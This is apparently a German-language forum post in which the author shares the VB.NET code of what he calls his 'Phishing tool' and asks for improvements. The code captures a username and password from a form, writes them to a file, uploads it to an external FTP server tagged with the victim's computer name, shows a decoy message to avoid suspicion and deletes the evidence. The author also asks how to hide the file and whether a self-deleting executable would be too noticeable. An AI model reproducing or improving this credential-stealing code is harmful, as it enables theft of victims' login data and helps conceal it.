Hier mal der Code zu meinem Phishing tool ich such ein paar verbesserungsvorschläge ...

Code:
    Private Sub SpeicherButton_Click() Handles Button1.Click


        Dim W As New System.IO.StreamWriter("User.ini", True)
        W.WriteLine("Username: " & TextBox1.Text & " & " & "Passwort: " & TextBox2.Text)
        W.Close()

        My.Computer.Network.UploadFile(My.Application.Info.DirectoryPath & "\User.ini", "ftp://ftp.meinftp.de" & "/" & "User.ini - " & My.Computer.Name.ToString(), "meinftpusername", "meinftppw")

        Media.SystemSounds.Asterisk.Play()

        MsgBox("Eben irgend ne massage damits nich so schnell auffällt", 64, "Hinweis")

        Kill(My.Application.Info.DirectoryPath & "\User.ini")

    End Sub
End Class
So mir fallen da selber schon Probleme auf ... Die User.ini is vorm abschicken sichtbar im selben Ordner ich weiß nur nich wie man sie mit dem Atribut Unsichtbar oder im TEMP ordner anlegt ... wusst ich ma mit dem TEMP habbich aba verpeilt ...

Ich glaub Melt (Selbstzerstörung) wäre zu aufällig wenn sich die Exe einfach Löscht ...